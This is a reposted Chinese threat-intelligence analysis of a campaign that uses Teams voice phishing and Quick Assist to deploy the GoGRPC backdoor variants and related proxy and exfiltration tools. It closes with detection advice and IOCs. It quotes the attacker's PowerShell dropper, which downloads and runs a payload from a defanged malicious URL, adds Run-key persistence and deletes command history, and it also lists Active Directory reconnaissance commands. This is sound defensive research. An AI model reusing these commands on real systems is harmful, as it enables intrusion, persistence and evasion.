文章总结: 攻击者利用MicrosoftTeams语音钓鱼和WindowsQuickAssist获取初始访问,通过PowerShell部署gogrpc后门及其四个变体(lep、giver、pet、kind),并配合blinddoor、s3siphon、revsocket等工具进行侦察、命令执行和数据窃取。建议监控QuickAssist异常使用、PowerShell下载行为及grpcoverHTTP/2流量以检测此类攻击。 综合评分: 88 文章分类: 威胁情报,恶意软件,实战经验,红队,内网渗透
从 Teams 语音钓鱼到 GoGRPC:Quick Assist 初始访问与后门通信分析
原创
Ti Ti
TIPFactory情报工厂
2026年7月29日 12:00 江苏
在小说阅读器读本章
去阅读
从 2026 年 1 月到 6 月,一组面向企业环境的入侵活动持续使用 Microsoft Teams 语音钓鱼和 Windows Quick Assist 建立远程会话,随后通过 PowerShell 投递 GoGRPC 后门及多种反向代理、数据窃取工具。Zscaler ThreatLabz 判断该攻击者可能是为勒索软件行动提供入口的 Initial Access Broker(IAB),但现有证据尚不足以把它归属到某个确定的勒索软件团伙。
这条攻击链的危险之处不在于利用复杂漏洞,而在于把合法协作与远程支持工具变成初始访问通道,再用不断演化的 Go、Python 和 Rust 组件完成主机侦察、命令执行、流量代理与数据外传。GoGRPC 的四个变体 Lep、Giver、Pet 和 Kind 还展示出一条清晰的演进路线:从明文 gRPC 通信逐步转向 TLS、符号混淆和更有针对性的企业环境筛选。
从垃圾邮件轰炸到 Quick Assist
初始入侵很可能从 spam bombing 开始:攻击者向目标邮箱灌入大量邮件,再通过 Microsoft Teams 冒充 IT 或 Helpdesk 人员联系受害者,以“协助解决邮件问题”为由诱导其启动 Quick Assist。ThreatLabz 对 spam bombing 环节的判断来自相似活动的对照,因此应视为高可信推断,而不是每起事件都已直接验证的固定步骤。
Quick Assist 会话建立后,攻击者获得交互式远程操作能力,并启动 PowerShell 下载后门。此时不需要浏览器漏洞或 Office 宏,身份伪装、合法远程工具和用户授权本身就构成了入口。
图 1:攻击链从 spam bombing 和 Teams 语音钓鱼进入 Quick Assist,随后分流到 GoGRPC 四个变体以及 BlindDoor、RSOX、RevSocket、S3Siphon、PyGRPC。
PowerShell 落地、持久化与痕迹清理
攻击者在远程会话中执行的 PowerShell 命令同时完成下载、执行、持久化和历史记录清理:
$l=RANDOM
$u="hXXps://re102.fastwinnow[.]com/download/link"
$p="$env:APPDATA\sekv$l.exe"
Invoke-WebRequest $u -OutFile $p
Unblock-File $p
Start-Process $p
Set-ItemProperty `
-Path "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" `
-Name "Realtek HD Audio" `
-Value $p
Remove-Item (Get-PSReadlineOption).HistorySavePath
其中有三个适合关联检测的动作:
- • 可执行文件以随机后缀写入
%APPDATA%; - •
HKCU\Software\Microsoft\Windows\CurrentVersion\Run下新增名为Realtek HD Audio的自启动值; - • 删除 PSReadLine 的历史文件,降低交互式命令留下的可见性。
GoGRPC 启动后会 Base64 解码硬编码的 C2 IP。除最新变体外,它还会创建 %PROGRAMDATA%\appscreen\appscreen.log 作为执行日志。Lep 和 Giver 使用格式为 Global\[UUID] 的硬编码 mutex 防止重复运行。
四个 GoGRPC 变体如何演进
ThreatLabz 使用 Lep、Giver、Pet 和 Kind 标记四组 Go 后门。名称用于研究归类,不一定会以明文形式出现在所有二进制中。样本里的 Go module/library 根名称经常被随机化;Pet 开始混淆方法名、变量名和结构体字段,Kind 延续并扩大了这种做法。
图 2:四个变体的函数树。Pet 和 Kind 的方法、变量与结构体属性混淆使静态代码对比更加困难。
| 属性 | Lep | Giver | Pet | Kind |
| — | — | — | — | — |
| 首次发现 | 2026-01-06 | 2026-02-19 | 2026-04-16 | 2026-06-02 |
| 主机指纹收集 | 是 | 是 | 否 | 否 |
| Agent ID | 来自主机 | 来自主机 | 样本内硬编码用户 ID | 与 Pet 相同 |
| 隐藏自身 | 通过 attrib | 否 | 否 | 否 |
| C2 数量 | 单个硬编码地址 | 支持多个 | 单个硬编码地址 | 单个硬编码地址 |
| 原生代理命令 | 已定义、未实现 | 已定义、未实现 | 无 | 无 |
| 单实例检查 | mutex | mutex | 无 | 无 |
| 方法与变量混淆 | 无 | 无 | 有 | 有 |
| TLS | 无 | 无 | 有 | 有 |
| gRPC 定义混淆 | 无 | 无 | 无 | 有 |
| 无超时执行 | 无 | 有 | 有 | 有 |
这组变化并非单向增加功能。例如,Pet 和 Kind 删除了早期变体中尚未真正实现的代理命令,也不再保留主机指纹和 mutex 逻辑;与此同时,它们加入 TLS 和更强的符号混淆。判断变体时不能只依赖单一能力,最好同时结合端点、Protobuf 结构、TLS 行为和样本哈希。
主机指纹与企业环境侦察
Lep 和 Giver 会调用 reg.exe 查询 Windows 版本、构建号、Service Pack 和 Release ID:
C:\Windows\system32\reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v CurrentMinorVersionNumber
C:\Windows\system32\reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v CurrentMajorVersionNumber
C:\Windows\system32\reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
C:\Windows\system32\reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v CSDVersion
C:\Windows\system32\reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ReleaseID
C:\Windows\system32\reg.exe query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v CurrentBuild
机器 GUID 会参与生成 Agent ID,计算机名、用户名、主机名、域名和体系结构则进入内部 Agent 结构:
struct main_Agent {
string agentID;
string osName;
string hostName;
string compName;
string userName;
string domainName;
string arch;
map_string_string tags;
string sessionID;
time_Duration heartbeatEvery;
_ptr_log_Logger logger;
uint64 mut;
};
注册 C2 后,攻击者执行的命令明显面向 Active Directory 与横向移动准备:
systeminfo
whoami /groups
net user "$env:UserName" /domain
([adsiSearcher]"(ObjectClass=computer)").FindAll().count
nltest /domain_trusts
Get-CimInstance -Namespace "root/SecurityCenter2" -ClassName "AntiVirusProduct"
这些命令分别收集系统信息、当前用户组、域账户、AD 计算机数量、域信任关系和安全产品。另有样本使用 attrib +h +s 隐藏落地文件。把 Quick Assist 会话、PowerShell 下载、上述枚举命令以及 Run 键写入串联起来,比单独告警 systeminfo 或 nltest 更有区分度。
gRPC over HTTP/2 的 C2 通信
GoGRPC 直接使用 gRPC over HTTP/2 与 C2 通信,服务端监听 443 端口。Lep 和 Giver 没有使用 TLS,Pet 和 Kind 才加入 TLS。前三个变体使用端点:
/agent.AgentService/Connect
Kind 将其改为:
/Refuse/Connect
这与 Mythic、Sliver 等常见框架把 gRPC 主要用于内部组件通信的方式不同。HTTP/2 和 443 端口可混入正常网络流,但早期变体在 443 上运行未加密 HTTP/2,以及固定的 gRPC method path,仍提供了较强的网络侧识别点。
注册握手
客户端先发送 RegisterRequest,携带 Agent ID 和主机元数据:
message AgentMetadata {
message TagsEntry {
string key = 1;
string value = 2;
}
string agent_id = 1;
string username = 2;
string hostname = 3;
string domainname = 4;
string os = 5;
string arch = 6;
repeated .agent.AgentMetadata.TagsEntry tags = 7;
}
message RegisterRequest {
.agent.AgentMetadata metadata = 1;
}
抓取到的 Protobuf 数据可以直接解出 UUID、主机名、Windows 版本和 amd64 架构信息:
0000 0a 54 0a 24 64 30 63 65 36 66 36 30 2d 62 31 39
0010 66 2d 34 38 33 35 2d 38 30 36 38 2d 65 66 34 33
0020 32 66 37 37 66 38 64 66 1a 0f 44 45 53 4b 54 4f
0030 50 2d 31 46 32 41 54 53 4e 2a 14 57 69 6e 64 6f
0040 77 73 20 31 30 20 50 72 6f 20 31 39 30 34 34 32
0050 05 61 6d 64 36 34
服务端以 RegisterResponse 返回状态和 session ID;连接建立后,客户端周期性发送 heartbeat。
命令执行与结果回传
Giver、Pet 和 Kind 的命令结构包含命令文本和超时,Lep 还单独指定解释器:
// Giver、Pet、Kind
message ExecuteCommand {
string command = 1;
uint32 timeout_seconds = 2;
}
// Lep
message ExecuteCommand {
string interpreter = 1;
string command = 2;
uint32 timeout_seconds = 3;
}
GoGRPC 通过 Go 的 os/exec 执行任意 shell 命令,并把退出码、标准输出和标准错误封装回传:
message ExecuteCommandResult {
int32 exit_code = 1;
bytes stdout = 2;
bytes stderr = 3;
}
Lep 和 Giver 还定义了 EstablishConnection,字段包括协议、地址和是否加密,但样本代码没有实现实际流量中继。该结构在 Pet、Kind 中已经消失,因此不能仅凭 Protobuf 定义断言早期 GoGRPC 具备可用代理能力。
配套后门、数据窃取与代理工具
GoGRPC 并非唯一载荷。攻击者会根据环境切换 BlindDoor、S3Siphon、RevSocket、PyGRPC 和 RSOX,使控制、外传与横向访问相互解耦。
BlindDoor:极简命令协议
BlindDoor 解码硬编码 C2 IP 后连接 443 端口,先发送 READY\n。服务端可以在一个数据包中用换行符分隔多个命令;BlindDoor 逐条通过 cmd.exe /c 执行,每次只回传 OK\n,不返回 stdout 或其他数据。连接断开后,它等待约 40 秒并尝试重连。
图 3:BlindDoor 使用简单的 TCP 文本协议接收多条命令,并在连接丢失后重新建立会话。
S3Siphon:通过 S3 PUT 外传文件
S3Siphon 遍历 Desktop、Pictures、OneDrive、Documents、Videos、Downloads 和 Music,使用 HTTPS PUT 上传到 AWS S3,User-Agent 固定为 BackupAgent/1.0。
它跳过超过 100 MB 的文件,并过滤 .tmp、.temp、.log、.cache、.db、.dll、.exe、.sys、.lnk。浏览器缓存、临时目录、Windows、Program Files、ProgramData、回收站等路径也在排除列表中。该筛选方式更偏向收集用户文档和业务数据,而不是复制完整磁盘。
RevSocket:WebSocket、证书固定与 yamux
RevSocket 是 Go 编写的反向 SOCKS 代理。它解码 C2 地址后构造 wss://[C2_IP]/ws,加载内嵌证书建立 TLS 并实施 certificate pinning,再使用 yamux 在单条连接上复用多个会话。每个隧道请求最终通过 net.Dial 连接指定目标。
目标地址采用类似 SOCKS 的紧凑格式:
| Host Type | Host | Port |
| 0 | 1 | n | n+2
Host Type 1 = IPv4,Host 长度 4 字节
Host Type 3 = 域名,Host 为 1 字节长度加域名
Host Type 4 = IPv6,Host 长度 16 字节
PyGRPC:带 AES 层的 Python 代理
PyGRPC 是经过 PyArmor 保护的编译 Python 反向 SOCKS 代理。它像 Pet、Kind 一样通过 gRPC over TLS 与 C2 通信,除建立和关闭隧道外,还能生成侦察报告并回传。其消息 Payload 额外使用 AES 加密,协议复杂度高于其他代理组件。
RSOX:Rust 实现的可重配置代理
近期活动使用 MSI 投递 RSOX。这个 Rust 工具通过 WebSocket over TLS 建立 SOCKS relay。C2 默认从代码中的硬编码数据解码,也可由环境变量 RSOX_SERVER_URL 覆盖;认证 token 同样可以硬编码或通过 RSOX_TOKEN 提供。
RSOX 使用 Rust serde 序列化 JSON:
{ "msg": "<command>", "data": "<optional data>" }
| msg | 关键字段 | 功能 |
| — | — | — |
| Hello | token 、hostname、username | 建立 WebSocket 后的握手 |
| EnableSocks | 无 | 激活 SOCKS 子系统 |
| SocksReady | 无 | 通知服务端代理已就绪 |
| SocksConnect | stream_id 、host、port | 建立目标 TCP 连接 |
| SocksConnected | stream_id 、ok | 回报连接结果 |
| SocksData | stream_id 、payload | 转发 Base64 或原始字符串数据 |
| SocksClose | stream_id | 关闭指定连接 |
| Ping | 无 | 心跳 |
| DisableSocks | 无 | 停止接收新连接,保留现有隧道 |
| Kill | 无 | 关闭全部隧道并退出 |
检测与狩猎切入点
单个组件的指标会随版本变化,检测应优先关联入口、进程、持久化和网络行为:
- 1. 关注 Teams 外部来电或异常 Helpdesk 身份后紧接 Quick Assist 会话的事件,尤其是此前出现邮件轰炸的用户。
- 2. 检测 Quick Assist 会话期间由 PowerShell 发起的
Invoke-WebRequest、Unblock-File、Start-Process组合,以及%APPDATA%下随机文件名的可执行文件。 - 3. 监控 Run 键中伪装为
Realtek HD Audio的值、%PROGRAMDATA%\appscreen\appscreen.log和新出现的Global\[UUID]mutex。 - 4. 将
systeminfo、whoami /groups、nltest /domain_trusts、ADSI 计算机枚举、SecurityCenter2\AntiVirusProduct查询与同一父进程链关联。 - 5. 网络侧检查 443 端口上的未加密 HTTP/2、固定 gRPC 路径
/agent.AgentService/Connect或/Refuse/Connect、wss://.../ws、S3PUT搭配BackupAgent/1.0,以及 BlindDoor 的READY\n/OK\n文本序列。
图 4:Cloud Sandbox 将样本归为 Malware & Botnet,威胁评分为 76,并展示 HTTPS/IP 直连、二进制或内存中的 URL、虚拟机识别倾向和应用错误信息禁用等行为。
IOC
SHA-256
| SHA-256 | 组件 |
| — | — |
| 66b2b22397cea219266afb8cbbb28fe93997c1444f642a183ac8fc9ca1fabed5 | Giver |
| 9136ffb749c6cec13b826cd4f25ffdcf170375889feba9fee28dd74c32578f52 | Lep |
| 7dcabb6d07d52b92bbf8d659d1ed373fa780e7839fd3d744826a56fc1cd2372f | Giver |
| 35ea50f16bd5c080c91dbaa3dd4937408ed9563c1d9aa1cd0c751ae58db0eedc | Pet(TLS) |
| 759287052b8cc4f4ce16065857cbc9dba72aab218e709d3419483a95092c6f96 | Pet(TLS) |
| f36bfccf944b5d1e5e306958c1a728e38786c042ee4e536cc44c9d43940b1121 | Kind(TLS) |
| 51edd14233483bcf36e0b0f31451f28eac681fe3f2036f76c02b7ec1bb17ce33 | Kind(TLS) |
| 5d53246b0e6b681bc624739a7bead39a61fb07c0f4474b8170112e829c053f85 | RevSocket |
| 65af5c3ba2d00967b25b9165d2d3171fa81f209ee0790299805bb907d492a670 | PyGRPC 与侦察组件 |
| 41748648b71a70431123ec48e38868ff8aad3a7a06f5d781c2d2a4f718e7fd91 | 投递 RSOX 的 MSI |
| f85960dee17ba587b712cd8cdf89042bcd6ba711c3d5d548bef7c7f0988413f5 | RSOX |
域名与 IP
| 指标 | 用途 |
| — | — |
| scansec-upd[.]com | 工具投递 C2 |
| re2.filesdwnload[.]top | 2026 年 4 月工具投递 C2 |
| re8.dowlfles[.]online | 2026 年 5 月工具投递 C2 |
| update19.upldf[.]online | 2026 年 6 月工具投递 C2 |
| 5.253.59.222 | Lep C2 |
| 94.140.114.192 | Giver C2 |
| 193.29.57.37 | Pet C2 |
| 45.86.162.228 | Kind C2(2026 年 6 月) |
| 46.30.191.126 | RevSocket C2(2026 年 5 月) |
| 46.30.191.60 | RevSocket C2(2026 年 6 月) |
| 185.82.126.91 | S3Siphon C2(2026 年 1 月) |
| xeds.geranteeg[.]online | RSOX C2(2026 年 6 月) |
IOC 具有时效性,适合用于历史检索、样本聚类和阻断补充,不应替代围绕 Quick Assist、PowerShell、Run 键、gRPC 与代理流量建立的行为检测。
参考来源
-
• 英文标题:Helpdesk Hijackers: Teams Vishing, Quick Assist, and GoGRPC Backdoor
-
• 来源链接:https://www.zscaler.com/blogs/security-research/helpdesk-hijackers-teams-vishing-quick-assist-and-gogrpc-backdoor
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:TIPFactory情报工厂 Ti Ti《从 Teams 语音钓鱼到 GoGRPC:Quick Assist 初始访问与后门通信分析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论